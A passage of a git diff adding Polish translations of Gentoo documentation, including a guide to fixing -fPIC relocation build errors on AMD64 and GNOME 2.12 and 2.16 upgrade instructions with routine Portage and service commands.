+pozycji). Poniższy tekst jest wstępem do <uri
+link="http://en.wikipedia.org/wiki/Position-independent_code">artykułu w
+Wikipedii</uri> odnośnie kodu niezależnego od pozycji:
+</p>
+
+<p by="Wikipedia Encyklopedia">
+"W informatyce kod niezależny od pozycji (PIC) lub wykonywanie niezależne od
+pozycji (PIE) to obiektowy kod, który można wykonać w różnych położeniach w
+pamięci. PIC jest przeważnie używany w bibliotekach współdzielonych, by kod tej
+samej biblioteki mógł zostać przypisany do lokacji w każdej aplikacji (używając
+systemu wirtualnej pamięci), gdzie nie będzie się pokrywać z aplikacją ani
+innymi bibliotekami współdzielonymi. PIC jest również używany na starszych
+systemach pozbawionych MMU, co powoduje, że system operacyjny musi trzymać
+aplikacje we wzajemnej separacji.<br/><br/>
+Kod niezależny od pozycji może zostać skopiowany do dowolnego miejsca w pamięci
+bez żadnych modyfikacji i uruchomiony, w odróżnieniu od kodu nierelokacyjnego,
+który wymaga specjalnego procesu przez linkowanie, by mógł zostać uruchomiony w
+podanej lokalizacji. Generalnie kod musi być pisany lub kompilowany w specjalny
+sposób w odróżnieniu od kodu niezależnego od pozycji. Instrukcje odnoszące się
+do specyficznych adresów w pamięci, takie jak (gałęzie?) absolutne, muszą zostać
+zastąpione przez odpowiednie liczniki w relatywnych instrukcjach. Dodatkowa
+pośredniość powoduje, że kod PIC może być mniej skuteczny, chociaż współczesne
+procesory są projektowane, tak by poprawiać tę niedogodność."
+</p>
+
+<p>
+Na pewnych architekturach (również na AMD64), biblioteki współdzielone
+<e>muszą</e> posiadać włączoną obsługę "PIC".
+</p>
+
+</body>
+</section>
+<section>
+<title>Co to są "relokacje"?</title>
+<body>
+
+<p>
+Jeszcze raz cytujemy Wikipedię:
+</p>
+
+<p by="Wikipedia Encyklopedia">
+"W informatyce relokacja odnosi się do procesu zamiany referencji symbolicznych
+lub nazw bibliotek, które aktualnie używają adresów w pamięci przed
+uruchomieniem programu. Jest to zwyczajnie robione przez linker podczas
+kompilacji, chociaż można to zrobić podczas uruchamiania przez loader.
+Kompilatory i assemblery przeważnie tworzą pliki wykonywalne, z najniższym lub
+zerowym adresem startowym w pamięci. Przed wykonaniem kodu obiektowego adresy te
+powinny zostać wyregulowane, by wskazywały poprawne adresy uruchomieniowe."
+</p>
+
+<p>
+Tyle teorii. Teraz praktyka:
+</p>
+
+</body>
+</section>
+<section>
+<title>Przykład 1: zepsuty kompilator</title>
+<body>
+
+<p>
+GCC 3.4 posiada zepsutą implementację flagi <c>-fvisibility-inlines-hidden</c>.
+Używanie jej nie jest rozsądne, gdyż wiekszość błedów (ang. bug) jest przeważnie
+oznaczana jako RESOLVED INVALID. Błąd <uri
+link="http://bugs.gentoo.org/108872">108872</uri> to przykład typowego błędu
+wywołanego przez tą flagę.
+</p>
+
+</body>
+</section>
+<section>
+<title>Przykład 2: zepsuta obsługa sprawdzania `-fPIC' w skrypcie configure</title>
+<body>
+
+<p>
+Wiele skryptów <c>configure</c> sprawdza czy kompilator wspiera flagę
+<c>-fPIC</c>. Sprawdzenie polega na kompilacji minimalnego programu z włączoną
+flagą <c>-fPIC</c> i sprawdzenie <c>stderr</c>. Jeśli kompilator zgłosi
+jakiekolwiek ostrzeżenie przyjmuje się że flaga <c>-fPIC</c> nie jest wspierana
+przez kompilator i jest opuszczana. Niestety, jeśli użytkownik zdefiniuje
+nieistniejącą flagę (np. flagi tylko dla C++ w <c>CFLAGS</c> lub flagi
+wprowadzone w nowych wersjach GCC i niewystępujące w starszych wersjach), GCC
+również zgłosi ostrzeżenie, powodując błąd.
+</p>
+
+<p>
+Aby zapobiec tego typu problemom, profil AMD64 używa bashrc, który filtruje
+niepoprawne flagi w <c>C[XX]FLAGS</c>.
+</p>
+
+<p>
+Przykładem jest błąd <uri link="http://bugs.gentoo.org/122208">122208</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Przykład 3: brak wsparcia dla flagi `-fPIC' w kompilowanym programie</title>
+<body>
+
+<p>
+To jest najczęściej występujący przypadek. To jest poważny błąd w systemie
+budowania i powinien zostać naprawiony w ebuildzie poprzez patch. Przykładowy
+błąd dla tego przypadku przedstawiono poniżej:
+</p>
+
+<pre caption="Przykładowy błąd">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not read
+symbols: Bad value
+</pre>
+
+<p>
+To oznacza, że plik <path>assert.o</path> nie został skompilowany z włączoną
+flagą <c>-fPIC</c>, a powinien. Kiedy naprawi się taki rodzaj błędu, trzeba się
+upewnić, że tylko obiekty, które są używane w bibliotekach współdzielonych są
+skompilowane z flagą <c>-fPIC</c>.
+</p>
+
+<p>
+W tym przypadku, globalne dodanie flagi <c>-fPIC</c> do <c>C[XX]FLAGS</c>
+rozwiązuje problem, chociaż nie jest to wskazane, gdyż program wykonywalny
+również posiada włączoną obsługę "PIC".
+</p>
+
+<note>
+Dodanie flagi <c>-fPIC</c> do linkera lub <c>LDFLAGS</c> nie rozwiąże problemu.
+</note>
+
+</body>
+</section>
+<section>
+<title>Przykład 4: linkowanie dynamiczne, kontra archiwa statyczne</title>
+<body>
+
+<p>
+Czasami pakiet próbuje skompilować biblioteki współdzielone używając archiwów
+zbudowanych statycznie, które nie posiadają włączonej obsługi "PIC".  Są dwa
+powody, dlaczego tak się dzieje:
+</p>
+
+<p>
+Często jest to wynik mieszania flagi <c>USE=static</c> oraz <c>USE=-static</c>.
+Jeśli biblioteka może zostać skompilowana statycznie, poprzez ustawienie flagi
+<c>USE=static</c>, nie tworzy się wówczas plik z rozszerzeniem <path>.so</path>,
+ale tylko plik z rozszerzeniem <path>.a</path>. Jednak, kiedy włączymy flagę
+<c>-l</c> w GCC, by zlinkować bibliotekę (dynamicznie lub statycznie), wtedy GCC
+wróci do archiwum statycznego, jeśli nie będzie mógł znaleźć biblioteki
+współdzielonej. W tym wypadku, wskazanym rozwiązaniem jest skompilowanie
+statycznej biblioteki z włączoną flagą <c>-fPIC</c>.
+</p>
+
+<warn>
+Na architekturze AMD64 archiwa statyczne można budować tylko i wyłącznie z
+włączoną flagą <c>-fPIC</c>. Na pozostałych architekturach jest to niepotrzebne
+i powoduje znaczny spadek wydajności podczas uruchamiania.
+</warn>
+
+<p>
+Przykładem może być błąd <uri link="http://bugs.gentoo.org/88360">88360</uri>
+lub błąd mysql <uri link="http://bugs.mysql.com/bug.php?id=8796">8796</uri>
+</p>
+
+<p>
+Czasami zdarza się również tak, że biblioteka nie powinna być współdzielona w
+ogóle, gdy np. nadmiernie używa zmiennych globalnych. W takim wypadku najlepiej
+jest skompilować taką bibliotekę jako statyczną.
+</p>
+
+<p>
+Przykładem jest błąd <uri link="http://bugs.gentoo.org/131460">131460</uri>.
+</p>
+
+<pre caption="Przykładowy błąd">
+gcc   -fPIC -DSHARED_OBJECT -c lex.yy.c
+gcc  -shared -o html2txt.so lex.yy.o -lfl
+usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../x86_64-pc-linux-gnu/bin/ld:
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a(libyywrap.o):
+relocation R_X86_64_32 against `a local symbol' can not be used when making a
+shared object; recompile with -fPIC
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a: could not
+read symbols: Bad value
+</pre>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/base/amd64/howtos/index.xml b/xml/htdocs/proj/pl/base/amd64/howtos/index.xml
new file mode 100644
index 00000000..ca04649d
--- /dev/null
+++ b/xml/htdocs/proj/pl/base/amd64/howtos/index.xml
@@ -0,0 +1,68 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/base/amd64/howtos/index.xml,v 1.7 2008/01/20 11:31:21 rane Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="/proj/pl/base/amd64/howtos/index.xml">
+<title>Poradniki dla Gentoo/AMD64</title>
+
+<author title="Opiekun">
+  <mail link="slarti@gentoo.org">Tom Martin</mail>
+</author>
+<author title="Opiekun">
+  <mail link="blubb@gentoo.org">Simon Stelling</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="rafaeru@o2.pl">Rafał Stolarski</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="jakub.hudak@poczta.php.pl">Jakub Hudak</mail>
+</author>
+
+<abstract>
+Poradniki dla Gentoo/AMD64.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2005.1</version>
+<date>2006-02-01</date>
+
+<part>
+
+<title>Poradniki do Gentoo/AMD64</title>
+
+<abstract>
+Udostępnia poradniki dla użytkowników Gentoo/AMD64.
+</abstract>
+
+
+<chapter>
+  <title>Jak zgłaszać błędy?</title>
+<abstract>
+  Dostarcza informacji o raportowaniu błędów związanych z platformą
+  Gentoo/AMD64.
+</abstract>
+  <include href="bugs.xml"/>
+</chapter>
+<chapter>
+  <title>Opis 32-bitowego chrootowania na Gentoo/AMD64</title>
+<abstract>
+  Pomaga utworzyć 32-bitowy chroot na systemie Gentoo/AMD64.
+</abstract>
+  <include href="chroot-old.xml"/>
+</chapter>
+
+<chapter>
+  <title>Jak naprawiać błędy związane z -fPIC</title>
+<abstract>
+Opis przeznaczony dla deweloperów oraz użytkowników, którzy chcą dowiedzieć się
+więcej o sposobach naprawiania błędów związanych z flagą -fPIC.
+</abstract>
+  <include href="fpic-howto.xml"/>
+</chapter>
+
+</part>
+</book>
+
diff --git a/xml/htdocs/proj/pl/base/x86/gcc-upgrading-guide.xml b/xml/htdocs/proj/pl/base/x86/gcc-upgrading-guide.xml
new file mode 100644
index 00000000..7819d703
--- /dev/null
+++ b/xml/htdocs/proj/pl/base/x86/gcc-upgrading-guide.xml
@@ -0,0 +1,41 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/base/x86/gcc-upgrading-guide.xml,v 1.2 2008/03/15 17:25:16 shadow Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/base/x86/gcc-upgrading-guide.xml" lang="pl">
+<title>Aktualizacja GCC w Gentoo Linux</title>
+
+<author title="Author">
+<mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+
+<author title="Editor">
+<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+Ten podręcznik został usunięty.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.0</version>
+<date>2005-12-08</date>
+
+<chapter>
+<title>Notka</title>
+<section>
+<body>
+
+<p>
+Przedownik ten został przeniesiony w <uri link="/doc/pl/gcc-upgrading.xml">
+inne miejsce</uri>. Prosimy o korzystanie z nowej wersji.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/artwork/index.xml b/xml/htdocs/proj/pl/desktop/artwork/index.xml
new file mode 100644
index 00000000..0f1195c6
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/artwork/index.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/artwork/index.xml,v 1.4 2010/07/26 01:41:02 jmbsvicetto Exp $ -->
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>artwork</name>
+<longname>Projekt Gentoo Artwork</longname>
+<date>2007-05-14</date>
+
+<author title="Autor">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+<author title="Redaktor">
+  <mail link="welp@gentoo.org">Peter Weller</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+</author>
+
+<description>
+Projekt Gentoo Artwork zarządza grafiką w Gentoo. Jako grafikę rozumiemy tapety,
+loga, tematy, zestawy ikon i tym podobne treści.
+</description>
+
+<longdescription>
+
+<p>
+Społeczność używająca Gentoo jako systemu operacyjnego na komputerach domowych
+wciąż rośnie. Jednym z tematów, jakimi użytkownicy są najbardziej zainteresowani
+jest wygląd ich ulubionego systemu. Projekt Gentoo/Artwork jest częścią
+Gentoo/Desktop i jest odpowiedzialny za tworzenie i zarządzanie wszystkimi
+treściami graficznymi związanymi z Gentoo.
+</p>
+
+</longdescription>
+
+<dev role="lead">cla</dev>
+<dev role="Member">ian</dev>
+
+<extrachapter>
+<title>Współpraca</title>
+<section>
+<body>
+
+<p>
+Projekt Gentoo Artwork jest otwarty na wszelkie propozycje współpracy.
+Współpracę można nam zaproponować na kanale #gentoo-desktop w sieci
+irc.freenode.net. Można również skontaktować się z każdym z nas poprzez e-mail.
+Będziemy wdzięczni za wszystkie nadesłane prace.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Nasze prace</title>
+<section>
+<body>
+
+<table>
+<tr>
+  <th>Co</th>
+  <th>Gdzie</th>
+</tr>
+<tr>
+  <ti>Logo Gentoo/OpenBSD</ti>
+  <ti>
+    <uri link="http://dev.gentoo.org/~cla/artwork/gobsd.png">Gentoo/OpenBSD
+    project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Tapeta LiveCD PS3, podziękowania dla <mail
+    link="davide.italiano@gmail.com">Davide Italiano</mail>
+  </ti>
+  <ti>
+    <uri link="http://dev.gentoo.org/~cla/artwork/ps3.jpg">Gentoo/PS3</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.12-upgrade.xml b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.12-upgrade.xml
new file mode 100644
index 00000000..3bf4da3f
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.12-upgrade.xml
@@ -0,0 +1,386 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.12-upgrade.xml,v 1.1 2006/01/23 14:38:12 rane Exp $ -->
+
+<guide link="/proj/pl/desktop/gnome/howtos/gnome-2.12-upgrade.xml" lang="pl">
+<title>Aktualizacja Gnome do wersji 2.12</title>
+
+<author title="Autor">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="prizman@o2.pl">Artur Czepiel</mail>
+</author>
+
+<abstract>
+Ten przewodnik pokaże zalecaną drogę aktualizacji naszego środowiska GNOME do
+wersji 2.12, zakładając, że GNOME 2.12 znajduje się w gałęzi niestabilnej i nie
+pojawi się więcej w package.mask.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-10-08</date>
+
+<chapter>
+<title>Co nowego (z perspektywy Gentoo)</title>
+<section>
+<body>
+
+<p>
+Co zmieniło się od wersji 2.12_rc1:
+</p>
+
+<ul>
+  <li>Totem oraz librsvg używają gecko-sdk z flagą USE=nsplugin</li>
+  <li>
+    Pakiet evolution-exchange nie jest już włączony do meta-pakietów GNOME
+  </li>
+  <li>
+    Flaga USE="firefox" została usunięta z Evolution (psuła kompatybilność z
+    SSL i zostanie ponownie dodana później)
+  </li>
+</ul>
+
+<p>
+A co od wersji 2.10.2:
+</p>
+
+<ul>
+  <li>
+    Mozilla nie jest już pakietem wymaganym przez GNOME, natomiast epiphany
+    może zastąpić firefoxa
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+  
+<chapter>
+<title>Przygotowanie</title>
+<section>
+<title>Odmaskowanie pakietów</title>
+<body>
+
+<p>
+Zaczynamy od dodania części pakietów do pliku <path>package.unmask</path>.
+Jeżeli mamy system z gałęzi niestabilnej, nie jest to wymagane.
+</p>
+
+<note>
+Lista większości pakietów, które musimy dodać znajduje się w pliku <uri
+link="http://dev.gentoo.org/~allanonjl/gnome/2.12.0/package.keywords">
+package.keywords
+</uri>
+</note>
+
+</body>
+</section>
+<section>
+<title>Aktualizacja pythona</title>
+<body>
+
+<p>
+Kolejny krok to aktualizacja pythona do wersji 2.4.
+</p>
+
+<pre caption="Aktualizacja pythona">
+# <i>emerge -av python</i>
+# <i>python-updater</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Kilka innych rzeczy które musimy sprawdzić</title>
+<body>
+
+<warn>
+Jeżeli mamy zainstalowane gnome-doc-utils, jesteśmy zmuszeni je przeinstalować,
+aby mieć przynajmniej wersję 0.4.1.
+</warn>
+
+</body>
+</section>
+<section>
+<body>
+
+<impo>
+Opis automatycznego montowania USB oraz innych ciekawych funkcji Gnome znajduje
+się w akapicie zatytułowanym "I co teraz", który znajduje się na końcu tego
+dokumentu.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aktualizacja do 2.12</title>
+<section>
+<body>
+
+<p>
+Teraz główna część artykułu. Aktualizacja do GNOME 2.12.
+</p>
+
+<pre caption="Aktualizacja do GNOME 2.12">
+# <i>emerge -av gnome</i>
+</pre>
+
+<p>
+Lub, jeżeli nie są nam potrzebne wszystkie pakiety GNOME:
+</p>
+
+<pre caption="Aktualizacja do GNOME 2.12 lite">
+# <i>emerge -av gnome-light</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Uruchamianie revdep-rebuild</title>
+<section>
+<body>
+
+<p>
+Po pierwsze sprawdzimy czy uruchamianie revdep-rebuild jest niezbędne:
+</p>
+
+<pre caption="Uruchomienie revdep-rebuild">
+# <i>revdep-rebuild -p</i>
+</pre>
+
+<p>
+Jeśli polecenie to wyświetli jakieś pakiety, konieczne będzie ich
+przebudowanie - za pomocą polecenia <c>revdep-rebuild</c> (bez opcji -p).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>I co dalej?</title>
+<section>
+<body>
+
+<p>
+Konieczne będzie ponowne uruchomienie GNOME.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kilka słów o automatycznym montowaniu</title>
+<body>
+
+<p>
+Po pierwsze musimy dodać <c>hal</c> i <c>dbus</c> do naszych flag USE w pliku
+<path>/etc/make.conf</path>.
+</p>
+
+<p>
+Następnie upewnijmy się czy mamy odmaskowane pakiety hal, dbus, pmount i gamin
+(jeżeli mamy system z gałęzi niestabilnej nie jest to konieczne). Aby móc
+używać gmain, musimy mieć zaznaczoną opcję 'inotify' w jądrze.
+</p>
+
+<p>
+Opcja inotify znajduje się w "File systems -> Inotify file change notification
+support".
+</p>
+
+<p>
+Jeśli używa się innej architektury niż x86, należy odpowiednio zmienić dla niej
+poniższe polecenia.
+</p>
+
+<pre caption="Odmaskowanie pakietów">
+# <i>echo "sys-apps/hal ~x86" >> /etc/portage/package.keywords</i>
+# <i>echo "sys-apps/pmount ~x86" >> /etc/portage/package.keywords</i>
+# <i>echo "sys-apps/dbus ~x86" >> /etc/portage/package.keywords</i>
+# <i>echo "sys-fs/cryptsetup-luks ~x86" >> /etc/portage/package.keywords</i>
+# <i>echo "app-admin/gamin ~x86" >> /etc/portage/package.keywords</i>
+</pre>
+
+<p>
+Możliwe jest również, że mamy zainstalowany pakiet cryptsetup, który blokuje
+crypsetup-luks, należy go więc najpierw odinstalować:
+</p>
+
+<pre caption="Usuwanie cryptsetup">
+# <i>emerge unmerge cryptsetup</i>
+</pre>
+
+<p>
+Jeżeli mamy zainstalowaną starszą wersję pakietu hal musimy wykonać <c>rm -rf
+/etc/hal/device.d</c>, ponieważ podczas instalacji pakietu hal i tak dostaniemy
+informacje, aby to zrobić.
+</p>
+
+<pre caption="Przygotowanie do instalcji hal">
+# <i>rm -rf /etc/hal/device.d/</i>
+</pre>
+
+<p>
+Musimy również sprawdzić czy nie mamy zainstalowanego pakietu app-admin/fam.
+Jeżeli tak, wykonajmy poniższe instrukcje:
+</p>
+
+<pre caption="Usuwanie famd">
+# <i>rc-update del famd</i>
+# <i>emerge unmerge fam</i>
+</pre>
+
+<p>
+Następnie zaktualizujmy pakiety z grupy world, kompilując je z naszymi nowymi
+flagami USE, używając opcji --newuse <c>emerge -uDav --newuse world</c>.
+</p>
+
+<pre caption="Aktualizacja z uwzględnieniem nowych flag USE">
+# <i>emerge -uDav --newuse world</i>
+</pre>
+
+<p>
+Teraz musimy wystartować dbus i hal. Programy te muszą być uruchamiane przy
+każdym starcie naszego systemu.
+</p>
+
+<pre caption="dbus, hal, gamin">
+# <i>rc-update add hald default</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+<p>
+Nie zapomnijmy dodać naszego użytkownika do grupy plugdev w pliku
+<path>/etc/group</path>.
+</p>
+
+<p>
+Teraz powinniśmy być gotowi do uruchomienia <c>gnome-volume-manager</c> z linii
+poleceń i podłączenia jakiegoś urządzenia do portu USB. Zobaczymy jak jest
+automatycznie montowany i tworzy ikonę na naszym pulpicie.
+</p>
+
+<p>
+Jedną z dróg skonfigurowania gnome-volume-managera tak aby automatycznie
+uruchamiał się podczas logowania, jest dodanie go w 'Menu Opcji -> Sesje' na
+zakładce "Startup Programs", Jeżeli chcesz zmienić opcje gnome-volume-managera,
+uruchom <c>gnome-volume-properties</c> z linii poleceń.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Jeżeli coś nie chce się skompilować...</title>
+<section>
+<title>Czy ktoś jeszcze miał podobne problemy?</title>
+<body>
+
+<p>
+Po pierwsze, czy twoje błędy wyglądają tak jak te poniższe?
+</p>
+
+<pre caption="Błędy">
+ make[2]: Entering directory
+ `/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs'
+ Making all in fdl
+ C/fdl.xml:603: parser error : Entity 'copy' not defined
+         Copyright copy; YEAR YOUR NAME.
+                         ^
+make[3]: Entering directory
+`/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs/fdl'
+xsltproc -o fdl-C.omf --stringparam db2omf.basename fdl --stringparam
+db2omf.format 'docbook' --stringparam db2omf.dtd "-//OASIS//DTD DocBook XML
+V4.1.2//EN" --stringparam db2omf.lang C --stringparam db2omf.omf_dir
+"/usr/share/omf" --stringparam db2omf.help_dir "/usr/share/gnome/help"
+--stringparam db2omf.omf_in "`pwd`/./fdl.omf.in" `/usr/bin/pkg-config --variable
+db2omf gnome-doc-utils` C/fdl.xml
+compilation error: file C/fdl.xml line 15 element article
+xsltParseStylesheetProcess : document is not a stylesheet
+make[3]: *** [fdl-C.omf] Error 5
+make[2]: *** [all-recursive] Error 1
+make[1]: *** [all-recursive] Error 1
+make: *** [all] Error 2
+</pre>
+
+<note>
+Jeżeli pojawi się taki problem, należy zajrzeć na stronę
+<uri>http://bugs.gentoo.org/103322</uri>.
+</note>
+
+<note>
+Mówiąc krótko, do naprawienia tego problemu wystarczy przeinstalowanie
+gnome-doc-utils.
+</note>
+
+<pre caption="Więcej błędów">
+Traceback (most recent call last):
+  File "/usr/bin/xml2po", line 34, in ?
+      import libxml2
+      ImportError: No module named libxml2
+      make[2]: *** [de/file-roller.xml] Error 1
+      make[2]: *** Waiting for unfinished jobs....
+      Traceback (most recent call last):
+        File "/usr/bin/xml2po", line 34, in ?
+    import libxml2
+    ImportError: No module named libxml2
+make[2]: *** [es/file-roller.xml] Error 1
+make[2]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92/help'
+make[1]: *** [all-recursive] Error 1
+make[1]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92'
+make: *** [all] Error 2
+</pre>
+
+<pre caption="Jeszcze więcej błędów">
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+</pre>
+
+<note>
+Rozwiązanie znajdziemy na <uri>http://bugs.gentoo.org/104088</uri>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Co zrobić jeśli pojawia się inny błąd?</title>
+<body>
+
+<p>
+Należy sprawdzić bug 'GNOME 2.12 Tracker' i zobaczyć czy podobny problem został
+już zgłoszony: <uri>http://bugs.gentoo.org/103197</uri>
+</p>
+
+<p>
+Następnie, przeszukajmy bugzillę pod kątem pakietu, przy którym występują
+problemy, aby sprawdzić czy ktoś już zgłosił błąd. Jeżeli po wieloletnim
+szukaniu, nie możemy znaleźć podobnego błędu, możemy go zgłosić.
+</p>
+
+<p>
+Jeżeli nie wiemy jak zgłosić błąd, musimy zajrzeć na stronę
+<uri>http://www.gentoo.org/doc/pl/bugzilla-howto.xml</uri>
+</p>
+
+<p>
+Można również zadać pytanie na IRCu (kanał #gentoo-desktop w sieci FreeNode)
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.16-upgrade.xml b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.16-upgrade.xml
new file mode 100644
index 00000000..6e10c0f2
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.16-upgrade.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.16-upgrade.xml,v 1.4 2008/01/25 00:36:05 rane Exp $ -->
+
+<guide link="/proj/pl/desktop/gnome/howtos/gnome-2.16-upgrade.xml" lang="pl">
+<title>Aktualizacja Gnome do wersji 2.16</title>
+
+<author title="Autor">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="cla"/>
+</author>
+
+<abstract>
+Opis procesu aktualizacji GNOME 2.14 do wersji 2.16.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-09-08</date>
+
+<chapter>
+<title>Rozwiązywanie problemów</title>
+<section>
+<title>Znane błędy budowy</title>
+<body>
+
+<p>
+<c>libnotify</c> buduje różnie na bazie zainstalowanej w systemie wersji GTK+.
+Jeśli wystąpiły problemy podczas budowy na przykład <c>zenity</c> lub
+<c>rhythmbox</c>, które nie powiodły się z niezdefiniowanym odwołaniem do
+powiadomienia funkcji, należy przebudować <c>libnotify</c> po aktualizacji GTK+
+do wersji 2.10.x.
+</p>
+
+</body>
+</section>
+<section>
+<title>gnome-settings-daemon zawodzi podczas uruchamiania</title>
+<body>
+
+<p>
+<c>gnome-settings-daemon</c> do działania  wymaga lokalnej sesji dbus. Jego
+uruchomienie zawodzi zatem, jeśli sesja nie jest obecna. Sesja Gnome
+<c>gnome-session</c> zwykle automatycznie uruchamia sesję dbus. Nie jest to
+regułą, kiedy używa się innego Menadżera Okien (WM) lub też polecenia
+<c>startx</c> z plikiem <path>~/.xinitrc</path>. W takim przypadku należy
+ręcznie uruchomić sesję dbus, dodając następującą linijkę do pliku
+uruchamiającego X (<path>~/.xinit</path> dla <c>startx</c>,
+<path>~/.xsession</path> dla Menadżera Logowania):
+</p>
+
+<pre caption="Uruchamianie sesji dbus">
+eval `dbus-launch --exit-with-session --sh-syntax`
+</pre>
+
+<p>
+Należy się upewnić, że powyższy skrypt został dopisany powyżej linii
+<c>gnome-settings-daemon</c>.
+</p>
+
+<p>
+Alternatywnie, przy użyciu startx i bez specjalnych ustawień w .xinitrc, możliwe
+jest usunięcie <path>~/.xinitrc</path> i ustawienie zmiennej XSESSION="gnome" w
+pliku <path>~/.profile</path> lub <path>/etc/rc.conf</path>. To poprawnie
+uruchomi sesję dbus zanim zostanie uruchomiona sesja gnome.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dostawca IMAP 4rev1 nie jest dostępny w Evolution</title>
+<body>
+
+<p>
+Dostawca IMAP 4rev1 został usunięty z <c>evolution</c> w tej wersji, ponieważ
+jest uszkodzony i niewspierany. Użytkownicy powinni zmienić swoje konta, aby
+używały normalnego dostawcy IMAP.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.18-upgrade.xml b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.18-upgrade.xml
new file mode 100644
index 00000000..fe4e969b
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.18-upgrade.xml
@@ -0,0 +1,237 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.18-upgrade.xml">
+
+<title>Aktualizacja Gnome do wersji 2.18</title>
+<author title="Autor">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Edytor">
+<mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Edytor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
